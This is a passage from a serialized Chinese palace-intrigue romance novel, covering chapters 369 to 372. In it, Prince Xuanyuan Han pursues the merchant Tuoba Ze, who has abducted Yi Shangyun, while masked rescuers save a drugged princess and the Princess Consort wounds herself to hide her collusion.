对于神蝶,梅志煊一向情有独钟。这神蝶于世间甚是稀罕,自是少有人见。而在西秦国,第一次见有人能认出这蝶的,他自是记忆犹新。 那是秦王轩辕翰大婚的前几日,他亲自登门拜访遇到轩辕玥的那日,轩辕玥腰间所佩戴的那只同这个一模一样的蝴蝶香囊顿时从他的脑海中浮现了出来。 半晌后,梅志煊从沉沉的回忆当中醒过神来,纳闷地喃喃低声道:“这个蝴蝶香囊...难道...是她的……” “你果真认得这只香囊?它是谁的?”身旁的易三少隐隐听到他的声音,起身好奇地问。 然梅志煊似是根本顾不得理会易三少,一双宽阔有力的大手兀自从外面一摸到里面似是还塞着什么东西,便一把将香囊的带子扯了开来。 掏出来一看,梅志煊瞬间惊呆了:“这是...西秦公主所在的风华宫的宫牌。” 而早已同样好奇地凑上前来的易三少亦瞬时对其瞪大了一双迷人的眼睛,几乎与其异口同声道:“是西秦皇宫风华宫的宫牌。” “西秦公主风华宫的宫牌怎么会跑到树枝上去了?” 一时间,俩人四目相对着,都陷入了沉沉的不解之中。 忽然,易三少眼疾手快地发现了宫牌的背面似是隐隐刻着一些什么痕迹:“快看,上面有字?” “救命”梅志煊疾步走到一盏明亮的烛火下,念出了寥寥两个字道。 “难道...失踪了的西秦公主来过四海茶庄?”易三少这才联想起了方才上楼时在隔壁所听到的消息,顿时反应了过来,怔望向梅志煊的脸。 “你说什么?西秦公主失踪了。这是什么时候的事情?”梅志煊顿时大惊失色道。 易三少见此,突然怔了一下,遂往梅志煊的身旁靠了靠,神秘地道:“对了,告诉你一件事情,那秦王轩辕翰也在这个茶庄里,此时就在隔壁。” 梅志煊大惊:“秦王也在隔壁?” 易三少点点头:“方才我看到他的副将走了进去,便跟着到了他门前,听他的副将说好像是西秦公主丢了,正在到处找呢。不晓得,这块刻有求救信号的宫牌上是否有何玄机?” “为何不早说?”梅志煊怒声道。 易三少一脸无辜道:“我本来一上来就打算说的,可一想起你哪里是贪恋这些儿女私情的主啊!再说了,若是那西秦公主真有个三长两短的话,你岂不就恢复自由之身了吗?” 而梅志煊眼中却顿时寒光乍起,似是又在若有所思着,只冷冷地问:“这个香囊,你到底是怎么得来的?” 易三少忽觉气氛有些紧张了起来,遂急急回忆着道:“方才我去后院里想要透透气,回来时路过了一片幽静的梨园,这个宫牌不知为何忽然从枝头上落了下来……” 听了易三少的话,梅志煊蹙眉疑惑地道:“从枝头上落下来?” 稍加思索,梅志煊说着便一把拉起易三少来夺门而出:“你方才在哪里捡到的?快带我去!” “你不是说你不喜欢那个西秦公主吗?这会儿干嘛如此紧张呢?”易三少一边被其拖拽着走,一边不解地道。 梅志煊厉声怒喝:“废话少说,快点走!” 而此时,就在隔壁。 轩辕翰情不自禁的又拿出了那只宝蓝色药香囊来,捧在手心凝视着不知已有多少遍,兀自喃喃自语道: “你到底在哪里?为什么本王会在这里嗅到你的气息?原来,不知不觉,你竟同你的气息早已全都进到了本王的骨头里,无论何时何地都陪着本王,永远不曾离开。” 始终都为此而坐立不安着,心里,眼里,都是她的一颦一笑。 正想起身来随便走走,程良忽然走了进来,手里握着块什么牌子似的东西上前近身过去对其神秘的道:“殿下,属下无能,还是没有查到关于公主的任何消息,但是属下发现了这个,您看看这个腰牌。” “这个是……” 就在轩辕翰显然似是已有些记不清在哪儿曾见过这块腰牌上的图案时,程良开口提醒道: “殿下忘了?这种只有北方游牧民族才盛产的一种喜温耐寒的牧草图案,之前在查万娇阁的时候,拓跋泽茶室里的茶叶罐上也曾出现过。” “你的意思是说这是……”轩辕翰顿时反应了过来,怔看向程良的脸,程良对其点了点头。 “这个腰牌你是从哪儿得来的?”轩辕翰遂将其接过翻来翻去仔细端详了一会儿,问道。 “是从一个妇人身上掉下来的。属下唤她,她却一直头也不回的只顾埋头赶路。后来,属下一直追到了街上,那妇人却突然消失不见了踪影。”程良顿显一脸纳闷地道。 轩辕翰看着手里的腰牌,起身默默地走到了窗前想了想,道:“莫非,这块腰牌她是故意落下来给你的?她想暗示你什么?这一定与拓跋泽有关,换言之,这位妇人一定有云儿的消息。” 一念至此,轩辕翰只觉眼前顿时一亮,忙回过头来求证道:“当时,她是不是得知了你的身份?” “当时属下在大堂里遇到了温太傅,温太傅将属下引荐给了几位大人……” 顺着轩辕翰的话程良稍加回忆,顿时想起了:“对了,当时那名妇人好像就在属下身边不远处,属下总觉得有人在暗处窥视,还特意向她瞟了一眼。” 闻此,轩辕翰即刻下令:“速速命人全力搜寻此妇人,就算掘地三尺,也务必将此人给本王找出来。” “是。那公主……” “走,去看看。” 俩人遂一起踱步出了雅间…… 第三百六十九章:天高任鸟飞,海阔凭鱼跃 得知轩辕翰亲临四海茶庄的消息,拓跋泽自是不会相信那样的人也是慕名而来喝茶的。 上次在万娇阁里,他险些就要落入其手中万劫不复,所以这次他务必打起十二分的警惕性来。 于是,从轩辕玥屋内一出来,拓跋泽便唤上了妇人一道,与其再次朝后面衣上云的屋内急奔而去。 “吱呀”一声,门被人从外面打开。 屋内竟是漆黑一片,死气沉沉,不见一丁点儿亮星子。 “为何不掌灯?”拓跋泽侧头横眉怒问门口的守卫。 守卫诚惶诚恐地道:“启禀庄主,是里面的那位姑娘坚持不让咱们掌灯的,说她不想见光,怕刺眼。” 妇人听了心里一惊,朝内悄悄瞥了一眼。 拓跋泽吐了口浊气,妇人便眼疾手快地先一步跨过了门槛,疾步进屋里去掌灯。 在外候了稍时,直到看见内屋的窗户上现出了俩个身影,妇人从内屋里再次出来,拓跋泽方才双手负后着缓缓跨进了门去。 不想一掀开内屋的珠帘,却见衣上云正背对着门口,一动不动的不知已经在案几边无精打采,失魂落魄地默坐了多久。 其手臂上替梅汐媛所挡的那一剑伤口,亦早已不再流血,然脚下地板上面则尽显一片血迹斑斑。 站在门口朝其背影愣了一会儿,拓跋泽抬步轻轻朝其近身了过去,在其身后对面坐下,冷冷地道:“怎么?舍不得走?” 衣上云依旧丝毫不动声色地坐着,并未搭理他。 知道她已经失忆,拓跋泽竟也不再提起以前的事,反而劝道:“你若是坚持想要留下来的话,想那秦王妃也不能拿你怎么样?她不比西秦学院大小姐那般狠毒,你若肯向她低头,或许她会重新接纳你呢?” 岂料衣上云还是不言亦不语,像是被钉住了一般。 拓跋泽叹了口气,扬高了些许声音诋毁谩骂起来:“那秦王轩辕翰有什么好?世间女子一个个皆都失心疯了般对他芳心暗许,可他却连自己最心爱的女人亦保护不了,还妄想着坐拥整个天下。真是笑话,天大的笑话!” 终于,衣上云的脸上似是稍稍有了些许动容。却是脸庞忽地滚落下了两行苦情的眼泪。 刚一觉察到,便忙将双眼闭起,似是想要将其他剩余的泪水全都关在眼眶里,不再被人发现她的悲痛。 半晌后,她睁开双眼看着前方忽然开口问:“你果真是北烈国商人?” 拓跋泽怔了一下,继而脱口便出:“是,我是北烈国商人!” 衣上云听了发出一声冷笑,炸出一句:“是贩卖人口的商人吗?” 拓跋泽冷不防地怔望向她的后背,惊诧道:“我……” 话刚开口,衣上云忙伸出一只手去将其打断:“你用不着跟我解释?我也不想知道你究竟是谁?但是有一点,我必须现在跟你说清楚。” “有什么话?你尽管说便是。”拓跋泽大方道。 衣上云依旧背对着他,不看他的脸,素声道:“我只会医术,所以,除了救病治人以外,我什么都不做。若不得绝对的自由,我宁愿现在就死在你面前!” “你本就不必做什么,我所看重你的,也只不过是你的医术而已。”拓跋泽顺着她的话,应道。 衣上云深吸了口气,似是终于鼓足了勇气,决定道:“好,既然如此,那我跟你走!越快越好。” “太好了,看来你终于想通了。这样才对嘛,离开了这个勾心斗角的伤心地,到我大草原上,那是真的‘天高任鸟飞,海阔凭鱼跃’。我保证,你绝对会感受到从未感受过的真正的自由。” 拓跋泽激动地信誓旦旦道。 话一说完,便发出了一阵颇为爽朗的笑声来起身兀自大步朝着屋外门口走去,吩咐一直等候在门外伺候的妇人:“好生伺候姑娘梳洗,准备上路。” 说完,便兀自踱步离开了后院,先去安排其他临行琐事。 妇人在门外隐隐听到了两人在屋内的谈话,见拓跋泽离去,遂三步并作两步一进门来,便走到了衣上云的面前一边替其包扎手臂上的伤口,一边激动地道: “姑娘,你疯啦?你怎么能答应跟他去那种蛮夷之地呢?那里根本就不是人呆的地方,常年苦寒,缺衣少穿不说,人都极为野蛮凶残,你去,这不就等于去送死吗?” 岂料衣上云却缓缓起身来,坐到了一面铜镜前,用手轻抚着一缕散落的发丝,对着镜中凌乱不堪的自己云淡风轻地道: “大婶,我已经决定了,你不用再劝我了。临走前,最后一次替我梳梳头吧!我都不知道自己已经有几日没有束发了。这个样子,连我自己都快要不认得自己了。” 说着,随手将案上的一把篦子递向了妇人的手边。 妇人一边将其接过,一边小心翼翼地走过去到窗前朝着屋外院子里探了会儿,遂又返回来压低了声音对衣上云说道:“姑娘,你再设法拖延几日,秦王殿下真的已经来四海茶庄了。” “你说什么?殿下他真的来了。他怎么会…难道是你……”衣上云顿时打起了精神来,转身朝着妇人惊声道。 妇人摇摇头,又点点头,又摇摇头,最后犹犹豫豫地道:“其实,我也不知道他们来此,究竟是做什么的?” 说着说着,忽眼前一亮,紧接着又道:“不过,我已经悄悄暗示了秦王殿下的副将,希望他们能尽快发现那块腰牌上的端倪。” 然而,衣上云却忽然渐渐沉下了脸来。 妇人看见,不解地问:“姑娘怎么不高兴?您不是盼着秦王殿下能来救你吗?” “此一时彼一时,之前是我一时冲动,愚昧无知。可如今,我已知晓原来他们才是人们常说的御赐良缘,天作之合。而且,秦王妃已经有孕在身,想秦王殿下很快就要身为人父了……” 衣上云缓缓转过身去对着案上的铜镜,露出一脸苦涩的笑来,木讷地说道。 顿了顿,遂伸手缓缓抚向了脸上的胎记,忧伤地道:“或许她们说的都对,像我这样一个一无是处的丑女,本就不该对那样尊贵的一个男人有此奢望,我根本就不配。我…是该离开了。” “姑娘……” 妇人似是还想再继续劝些什么,却被衣上云伸手挡了回去:“我意已决,不用再说了。此生,我与他终归是没有缘份。” 然却含着泪在心底里道:“殿下,云儿好舍不得……” 而此时,在她后面的院子里,轩辕玥与其婢女锦兰俩人在屋内俱都莫名地浑身燥热不止着。 “公主,奴婢好热,好热啊,我们这是怎么了?”锦兰面红耳赤,心扑通扑通巨跳着,手不听使唤地朝衣带正渐渐伸去。 “锦兰,不要,要忍住,一定要忍住,一定不能……” 与其一道在屋内的轩辕玥虽然嘴上拒绝着,可身体却极为诚实,与锦兰的情况差不了多少,似是在被烈火正一寸寸灼烧一般难以忍受。 忽闻“哐镗”一声,像是外面的门被人大力地踢了开来。 继而闯入了五六名行色匆匆,个个如狼似虎一脸狞笑着,一进门便对俩人虎视眈眈的高大猛汉来。 “你们是什么人?进来这里做什么?”锦兰一见那人不怀好意的笑,便挣扎着过去紧紧搂住了轩辕玥的肩膀做保护之势,朝其质问道。 “我们是什么人?”几名猛汉互相面面相觑着对视了一瞬。 其中一名脸色稍微白一点儿的猛汉邪笑着道:“我们…我们当然是来疼你们的人了。” “滚,滚出去,是谁让你们进来的,快滚,赶快滚……” 显然,锦兰的话,对那几个十恶不赦的亡命之徒来说,根本起不到任何作用。 轩辕玥亦是心里一急想要起身来动用拳脚,却是完全使不上力气。 情急之下,她一抓起手边案上的茶盅来便朝那几人狠狠砸去。 却不知,自己此刻就连站起瞄准敌人的力量都没有。全都瞬间落在了地上,成了碎片。 那猛汉却一脸得色地继续一起毛手毛脚地朝着俩人近身围了上去。 就在主仆俩人只能无助地抱头垂首下去,缓缓退身到了屋内一墙角里,全凭听天由命之际,不知从哪儿伸出一只手来将锦兰从轩辕玥的身边猛地抽走。 “锦兰” “公主” “嗖嗖嗖”岂料轩辕玥刚一抬起头来,忽见几支飞镖从门口飞了进来。 继而,便见刚刚还在对他们耀虎扬威,张牙舞爪的几名猛汉一个个瞬间全都重重地倒在了地上。 见此,轩辕玥瞬间晕了过去。 这时,从门口飞身而入一名脸上遮着黑色面巾的翩翩公子正好将其揽腰接住,方才没有致使其倒在冰冷的地面上。 而锦兰亦顿时哭着朝其身边扑了过去:“公主,公主……” “是合欢香!屋内的那柱香里有毒。”另一名同样遮着黑色面纱的男子仔细查看了屋内一圈,靠了过来对男子说道。 “可恶!竟用这种下三滥的手段对付这些手无缚鸡之力的女子,下作至此地步。”扶着轩辕玥身子的男子朝另一同伴忿忿地道。 稍作沉默,男子继而又问:“可有合欢香的解药?” 第三百七十章:还说不喜欢? “可有合欢香的解药?” 另一男子瞬间皱紧了眉头,露出一脸的难色来。 男子似是有些没了耐心,再次着急地催促问:“你到底有没有?” 另一男子重重地叹了口气,转而不紧不慢有些玩味地道:“这个嘛…对我易三少,自然是小意思了。” “你能不能说话不要这么大喘气,还不赶将解药拿出来!”男子斜了他一眼,生气地道。 易三少见他原来对轩辕玥如此着急上心,遂冷冷哼笑了一声,便从身上取出来一粒红豆大小的药丸递给他:“给你!不过,你又欠了我一个人情哦!” 男子怒瞪了他一眼,遂一将解药接过,便急急伸手将怀里紧抱着的滚烫的轩辕玥娇唇轻启,把药丸送进与其吞下。 很快,轩辕玥果然渐渐恢复了意识,清醒过来。 锦兰亦由易三少为其服下了同样的解药醒来。 一睁眼,即便眼前俩人此时都蒙着面巾,轩辕玥还是一眼便认出了那副自己无数个日日夜夜,心心念念的眉眼来。 只见她恍若做梦一般,极不真实地凝视着紧紧抱着自己的男子眼睛,嘴唇一颤一颤,眼里竟顿时浮出了点点晶莹的泪花。 脸上尚还泛着未褪尽的丝丝红晕,吞吞吐吐道:“你…你是…你是三……” 就在男子一双明亮的深眸亦同样深情款款地凝视着轩辕玥的脸时,身后易三少急促的催促声响起道:“这里很快便会被人发现,还不赶快带着她们离开?” 闻声,男子顿时回过神来,一把便将怀里的女子横抱起兀自夺门而出。 刚要跨过门槛,见有俩个人影正迎面而来,易三少定睛一看,惊道:“是秦王轩辕翰!” 男子灵光一闪,看了一眼怀中的女子,对易三少说道:“将她们放下,赶快走。” 遂将怀里的女子轻柔地放下,靠在门板上,又深看了她一眼,俩人便起身一道急奔出门。 “嗖”地一下,飞身上了房顶。 远远地,程良一看见屋门口方向似是有俩个人影闪动,接着又一起身手敏捷地飞身上了屋顶,心下里一惊,对身旁同样看到这一幕的主子道: “殿下,属下见那俩人其中一人的身影怎么像是易三少?” “嗯,本王也看见了。可易三少,他不是应该在南安吗?怎么会此时出现在这里?”轩辕翰沉声亦纳闷道。 “属下也不清楚,可据卫宁所报,他的确是亲眼看着他与那梅志煊一起踏入了南安皇宫了啊!这到底是怎么回事?” 程良顿时看向了轩辕翰,与其面面相觑着同样亦是甚为不解道。 “那与他一起的不用猜,一定便是梅志煊了!”轩辕翰深眸骤冷道。 “这个易三少,究竟在搞什么鬼?属下这就去追……”程良愤怒地说着,拔腿便欲朝其方向追去。 “不必了…先办正事。”却被轩辕翰伸手阻止。 就在这时,从门口的一片亮光下,隐隐约约传出一阵女子细柔的轻唤声来:“公主,醒醒啊,公主!” “公主……”程良心里顿时似是有种不好的预感,纳闷地看向了轩辕翰的脸。 俩人遂忙疾步上前一看,只见挂在门口的两盏明亮的大红灯笼照耀下,锦兰与轩辕玥俩人俱都一身男子扮相,俩人瞬间惊呆了。 锦兰正席地而坐,紧紧搂着昏迷不醒的轩辕玥抽泣着,程良一回过神来顿时朝其大惊一声道:“公主殿下!” “怎么回事?”轩辕翰瞪眼怒声问锦兰。 锦兰哽咽着答道:“秦王殿下,那个北烈狗,他,他乔装打扮躲过了官兵通缉,藏身在此以四海茶庄为掩护,设计将公主与奴婢捉住关了起了。方才,方才公主她差点儿让人给...给……” 即便此时,一回忆起方才那惊险至极的一幕,锦兰显然依旧尚还后怕着不敢说下去。 “北烈狗...拓跋泽...羊草图案的腰牌...原来四海茶庄的幕后正主便是拓跋泽。” 一念至此,程良顿时明白了过来:“殿下,那块腰牌原来是四海茶庄的,那位妇人是想以此暗示我们有人向我们求救。” “你们被关起来以后,是不是见过一位妇人?”轩辕翰忙问锦兰。 “妇人?奴婢从未见过什么妇人呢!”锦兰回忆了会儿,道。 “从未见过?那那位妇人是想引我们去救谁呢?” 就在程良喃喃自语纳闷之时,轩辕玥似是迷迷糊糊地听到了轩辕翰的声音,微微睁开眼来虚弱地朝其道:“秦皇叔,快,快救云儿,云儿也被藏在这里,快,快啊……” “什么?云儿也在这里?” 轩辕翰大惊,遂即刻命令:“程良,派人立刻送公主回宫,将整个四海茶庄给本王包围起来。” “是。” 程良一领命便疾步上去一把将锦兰怀里的轩辕玥横抱起,正准备离开,轩辕翰又叫住了他道:“等等……” 程良顿足转身,道:“殿下还有何吩咐?” 轩辕翰一脸凝重:“立刻通知封锁所有城门,这次务必给本王将拓跋泽揪出来。” …… 直至暗中一路紧随轩辕玥之后,到了四海茶庄门口。 亲眼看着她终于安全地被轩辕翰所安排的人护送朝着皇宫的方向回去,隐在暗处的梅志煊与易三少二人方才褪去了脸上的蒙面巾现身了出来。 看着梅志煊终于舒展眉头松了口气,易三少扭头打量了一会儿那张脸,打趣道:“还说自己不喜欢人家,看你方才那副失态又可怕的嘴脸,哪里像是传闻中的温润如玉,沉稳内敛的东宁国三皇子了?” “这究竟是谁干的?”岂料梅志煊却根本不理会他,自顾握紧附在身后的一只手来,喃喃自语道。 “怎么?要不要我帮你好好查查清楚啊?”易三少听见,饶有兴致地道。 沉默了一会儿,梅志煊不屑地斜了他一眼,冷冷说了声:“不必了!” 遂转身一边朝客栈方向回去,一边背对着易三少道:“你莫不是还想回去继续喝茶不成?” 易三少朝其背影哼笑了一声,又摇了摇头,兀自举步紧随其后跟了上去。 茶庄里面,程良带了大批人马仔仔细细地搜遍了每一个角角落落,却始终都不见衣上云的半点儿踪迹。 此时,他一脸沮丧地回到了方才轩辕翰等候的雅间门前。 站在门口杵了许久,方才鼓足勇气伸手推开门走了进去。 “殿下,还是没有找到衣姑娘的踪影。不过,有人看见拓跋泽带了一个蒙着遮面纱巾的姑娘悄悄从后门溜走了。” “他一定是发现了我们,方才狗急跳墙,带着云儿仓惶逃了。”轩辕翰只身立在窗前,望着窗外苍茫漆黑的夜空,背对着程良沉声说道。 然置于身前的一只拳头却越握越紧。 许久后,似是心中已经有了主意,遂下令道:“把这座茶庄的一切仔仔细细查个清清楚楚,看看到底是怎么回事?还有那个妇人,如此看来,他真正想引我们去救的人…是云儿,她一定知道很多事,务必将她找出来。” “是!”程良领命,然心里却依旧犹豫不决地支支吾吾道:“还有一事……” 轩辕翰吸了口气,沉道:“说!” 程良咬了咬牙,脱口即出:“属下方才听茶庄的伙计说,今日王妃带人也来过这里。不知道这件事,是否与王妃有什么关联?” 此话一出,一室寂静。 沉默了许久,轩辕翰忽的转身疾步出门:“回府!” 西秦皇城,东城门。 半夜三更,风呼呼地刮着,卷起地上的飞花无数,亦吹乱了梅汐媛乌亮的柔柔发丝,她却无心理会。 只自顾忐忑不安又焦急地站在出城口处,朝城内方向翘首企盼着。 封锁城门的消息早已被快马加急送至了四方各个城门的守卫处。 城门下,不知道赵嬷嬷与守城的将领正在说些什么? “王妃娘娘,来了。”赵嬷嬷眼疾手快的一看见从漆黑的夜里渐渐迎面现出的拓跋泽的马车,便匆忙回头近身到梅汐媛的身旁,朝其禀告道。 拓跋泽远远一看到前方秦王府的灯笼,嘴角便噙出了一抹得意的弧度。 “秦王妃,真没想到,这么快咱们便又见面了?”拓跋泽一下马来便一脸欣喜地朝其迎了上去。 梅汐媛侧身过去不看他的嘴脸,怒声道:“废话少说,到底怎么回事?殿下怎么会找上门去。” 拓跋泽道:“这一路,我想了许久。想必,他很有可能是奔着寻那西秦公主去的!” “西秦公主?”梅汐媛听了,显然被惊到,瞟了他一眼。 “那西秦公主不知为何?鬼鬼祟祟地乔装成男子模样混入了茶庄内,我觉得她目的难测,便小设一计,岂料她果然露出了马脚,竟发现了那个丫头……” 未及其将话说完,梅汐媛大惊失色道:“什么?轩辕玥看见了她?那岂不是……” “秦王妃勿要忧心,我已经给她用了‘合欢香’,命人将她好好伺候一夜。漫漫长夜,想她应该是见不到明日的太阳了。” “你果然狠毒!”梅汐媛匪夷所思地凝神看着他。 做出那般令人发指的恶行,却还能说的如此云淡风轻。 不过,她也着实已经忍了那公主太久了。 “无毒不丈夫,秦王妃过奖了!”拓跋泽笑道。 默了会儿,梅汐媛吸了口气回过神来道:“让本王妃的嬷嬷给她拾掇拾掇,送她最后一程吧?” “秦王妃请自便!” 梅汐媛使了个眼色,赵嬷嬷便挑灯上前踏入了马车…… 第三百七十一章:夜入韶华阁 很快,赵嬷嬷便掀开门帘下了车来,悄悄对梅汐媛摇了摇头。 梅汐媛愣了一下,似是颇为惊讶,又想着深更半夜,若是被有心人撞到了,总归是麻烦。便转而对拓跋泽催促着道: “好了,此地不宜久留,你们还是赶快上路吧,待会儿若是被王爷的人追来了,你可就真的插翅都难飞了。” 岂料拓跋泽却不以为然,似是一点儿也不担心的样子,笑着打趣她道:“有如此美貌多娇的秦王妃在,就算是那秦王来了,估计也会乖乖的顺从下来,全凭王妃做主吧!” 梅汐媛瞬时怒目斜瞪了他一眼,拓跋泽方才收敛了一些笑来,朝其抱拳道别:“多谢秦王妃相助出城,咱们后会有期。” 梅汐媛哼了哼鼻子,侧身过去不屑地道:“后会无期。” 拓跋泽轻笑了一声,兀自转身过去一步越上了马背,一出城门便策马扬长离去。 直到目送着看其出了城门后越行越远,那道坚固而又神圣的大门最后再次被牢牢锁起。 梅汐媛方才一边转身朝车马踱步过去,一边问搀扶在身旁的赵嬷嬷:“方才你可都仔细认真地查验清楚了吗?她身上真的没有那个凤凰印记?” 赵嬷嬷沉默了会儿,心内暗暗琢磨刚才在马车上所发生的事情,最后颇为肯定地道:“老奴确实查验的一清二楚,那个丫头干瘪的身子上光溜溜的,根本什么痕迹都没有。” “怎么会呢?难道是皇兄搞错了,那丫头并非是嫡母后的骨血?”梅汐媛眉头紧紧蹙起,放慢了脚下的步伐,惊诧极了。 “看来,这次价格如此不菲的筹码,王妃很可能是真的下错了。”赵嬷嬷为梅汐媛所付出的代价,顿时深感不值。 而梅汐媛却吐了口浊气,不以为然道:“罢了,左不过就当是破财消灾了。无论如何,把她留在殿下的眼皮子底下,总归是祸患无穷。一个陆天骄,就已经令本王妃很是烦心了。” 赵嬷嬷仔细一想,也确实如此,这样冒尖的人,若是留在秦王府,日后里定是大麻烦。 俩人一边说着,已经回到了马车边上,赵嬷嬷转念忧心地问道:“王妃娘娘这么晚回去,待会儿若是撞到了殿下,该跟他怎么交代呢?想他一定会起疑心的。” 上了马车默想了一瞬,梅汐媛忽然微微眯起眼睛来说道:“那就让他彻底安心。” “王妃娘娘的意思是……”赵嬷嬷正疑惑不解地看着她,似是并不明白这句话的含义,却见梅汐媛缓缓掏出了一把锋利的匕首来。 赵嬷嬷一见惊慌不解地道:“王妃娘娘,你这是要做什么?” 岂料话音刚落,便闻“嗤”的一声,梅汐媛竟极为迅速地将手一个反转,瞬间那把明晃晃的匕首便狠狠的扎在了自己的肩头。 “王妃娘娘!”赵嬷嬷大惊,忙掏出身上的帕子来附上去帮其包扎。 梅汐媛忍着钻心的疼痛吩咐道:“走,快回府。” “快回府,快点!”赵嬷嬷火急火燎地催促外面驾车的小厮。 城东秦王府里,到处一片灯火通明。 轩辕翰回府后一进门来,便与程良急急大步流星直朝着韶华阁方向奔去。 这还是打从梅汐媛移居此院后,轩辕翰第一次踏足进到这座院子里。 原本就不失优雅别致的一座院落,如今在梅汐媛的精心打理下,更是添了几分贵气。 时已至暮春,一靠近院子,满园甚是醉人的各种幽幽花香味便迎面扑鼻而来。 无论白日亦或是晚上,白墙映衬着各种五颜六色,娇艳欲滴的无数繁花,永远都忍不住让人驻足多看两眼。 名人雅士皆爱海棠,因为海棠花姿潇洒,花开似锦,更因为其寓意甚好。 “海”有“大”之意;“棠”有“堂”谐音,预示满堂富贵之意,所以海棠花亦有“富贵花”之称。 一段好春藏不住,粉墙斜露杏花梢。即便它生长于壁垒夹缝中,无人观赏,它也执着于坚持,执着于花开,着实令人过目难忘。 梨花淡白柳深青,柳絮飞时花满城。想象那站在繁花似雪、素净清雅的梨花树下,堪与这梨花胜景媲美的女子又会是多么的惊艳,柔美。 还有那储藏了一冬的能量,正含苞就等着一次全身心地绽放,毫不保留,毫不羞涩,不同于莲花的清雅,也有别于梅花的冷艳。高贵端庄,不媚不俗,宁可被贬,也不愿屈身为权贵的牡丹。 …… 风一吹,满枝头的花瓣儿簌簌落下,似是都害羞了一般掉落到地上。即使落花成泥,也能芬芳如故。 轩辕翰一现身到院子,满院的奴才们便纷纷从四面八方里急奔出来跪倒了一地,朝其俯首跪拜:“奴婢们参见秦王殿下。” 轩辕翰双手负后着,一双深邃的冷眸扫射了前方阁楼一眼,顿足停了下来,宛若夜之神袛降临一般。 这时,程良忙上前两步朝众人问道:“王妃娘娘可已经歇下了?” 仆人们并不知道发生了何事?只是俱都被眼前突然而至的来人的气势所震住,那可是这座府邸真正的主人。 所有人都始料未及,一时间里,都不知该如何答话。 这时,程良再次催问:“王妃娘娘到底歇下了没有?为什么一个个都不说话?没看到王爷来了吗?为什么不伺候着出来恭迎?” 这时,前排的一婢女低低垂首着,偷偷斜了一眼身后明亮的阁楼,战战兢兢略带颤声地道:“王妃娘娘,王妃娘娘,娘娘她……” “王妃娘娘她怎么了?”见那婢女犹犹豫豫,吞吞吐吐,程良顿时更加确定今夜韶华阁里确实有蹊跷,便提高了些嗓门着急地追问。 “王妃娘娘,她…她并不在阁中。”婢女怯怯道。 闻此,轩辕翰的眼睛顿时抬起,射出了一道极瘆人的寒光来。 程良一瞥见,即刻怒声朝那婢女训斥道:“王妃娘娘到底在哪?还不抬起头来赶快说清楚?” 一声严厉的喝斥,婢女这才赶快扯回了思绪,猛地惊抬起头来,却是转而身子又开始渐渐抖动得愈加厉害起来,道:“王妃娘娘她出门去了,至今…至今都尚还未归。” 未及程良开口,轩辕翰似是终于有些按捺不住地开了口,冷声问:“这已经是什么时候的事了?” 婢女转而一对上他的眼睛,顿时被那双冷眸惊地再次将头垂的更低了下去,心惊胆战地答道:“王妃娘娘,她天...天还没黑的时候,便就已经出门了。” 闻此,主仆俩人顿时面面相觑着,惊呆了。 就在这时,那婢女忽然似是感觉到了什么,缓缓抬起头来,怔望向轩辕翰所站立的身后拱门处。 稍时,遂一脸惊讶地道:“王妃娘娘,王妃娘娘回来了。” 伴随着梅汐媛被赵嬷嬷搀扶着渐渐踱步过来,进入到一片光亮下,婢女一看清梅汐媛一脸苍白,还有那肩头上颇为显眼的被鲜血染红了的白色帕子。 婢女似是本能一般的忽的起身来疾步朝其奔上前去,大惊失色地道:“王妃娘娘,王妃娘娘你这是怎么啦?怎么受伤了?” 然梅汐媛却在俩人的搀扶下忍着疼痛,一进门来看到轩辕翰立在院中,只自顾着跌跌撞撞直朝其近身过去俯身行礼孱弱地道:“殿下,这么晚了,您怎么来了?” 轩辕翰亦是朝其肩上那令人触目惊心的血迹怔了一眼,遂移动目光,冷声问与其一道进门来的赵嬷嬷:“怎么回事?” 赵嬷嬷遂一脸惶恐不安地道:“殿下,王妃娘娘,她...她差点被那个北烈国贼人给杀了。” 未及轩辕翰开口,程良急上前去朝其惊声道:“北烈国贼人?你是说,现在全城通缉的北烈国拓跋泽?” 赵嬷嬷一手搀扶着梅汐媛,一手抹了把脸庞的泪水朝其点了点头。 就在这时,梅汐媛突感自己的整个身子沉沉地直往下坠,一阵晕眩,眼前一黑,正欲向轩辕翰身边倒去,程良眼疾手快地忙上前一步将其扶住抱起。 转而对那跪了一地的奴才们吼道:“你们一个个都还杵在那里做什么?还不快起来将王妃娘娘扶进去。” 顿时间,韶华阁内外到处一片脚步声混乱。 许久后,乐太医缓步从屋内走了出来,朝轩辕翰禀告道:“殿下放心,王妃娘娘的伤幸好没有刺中要害,但仍需好好静养,切忌情绪激动,起伏不定,以免将伤口挣裂引起感染……” 然轩辕翰却似正若有所思着,并没有听他说话,即使话已全部说完,他依旧不动声色地默默坐着,垂眼望着屋内的地板。 见此,程良着急地回应其道:“有劳乐太医了,还请乐太医再另外好好交待一下韶华阁这里伺候的奴才们,近日务必小心伺候,莫要让他们大意了才是。” 乐太医认真地道:“那是自然,我这就下去叮嘱他们。” 两人互相对视着点了点头,乐太医兀自朝轩辕翰行礼后便踱门走了出去。 顿时间,一室寂静。 奴才们都在内屋里忙着照顾梅汐媛,程良送走了乐太医,上前到轩辕翰的耳边对其轻唤了好几声:“殿下,夜深了,不如我们先回去吧!殿下,殿下……” 然轩辕翰却始终都自顾深陷在自己沉沉的思索之中,不得醒来。 夜色沉沉天地阔,梨花片片满树伤。 这一坐,便是漫漫一夜…… 第三百七十二章:为他梳妆终辜负 第二天。 天边一抹朝霞自浓而淡,自青紫到深红渐渐变换着。 直至最后,一轮朝日终于破开云霞升了起来,将大地上的一切都从睡梦中柔柔唤醒。 韶华阁里,梅汐媛刚一睁开眼来,整夜一直寸步不离地守在榻边的赵嬷嬷便上前来激动地道:“王妃娘娘终于醒了,真是吓死老奴了。” “嬷嬷不必担心,本王妃自有分寸。”梅汐媛弱弱的说着,便挣扎着欲要起身来。 赵嬷嬷一见,忙将其用手轻轻按了回去,说道:“娘娘勿要乱动,太医特意叮嘱过,娘娘的伤口在彻底愈合前都不能下地,务必得好好卧床静养才是。” 不得已,梅汐媛只能再次乖乖的听话躺了回去,遂忧心地自言自语说:“这个伤,怕是一定会留下疤痕了吧?” “现在反倒怎么担心起来了?昨夜娘娘下手的时候可不见得眨一下眼睛,对自己有一丝一毫的顾忌和心软啊!”赵嬷嬷替其捻好被角,说着便起身过去从一旁早已候着伺候的婢女手中接过洗漱用品。 梅汐媛暗自轻叹了口气,倒也没说什么。 赵嬷嬷却是至今仍旧心有余悸地道:“娘娘昨夜这招真是太险了,以后可不能再用了。若是万一真的有个什么闪失,老奴那可真是罪该万死了。” 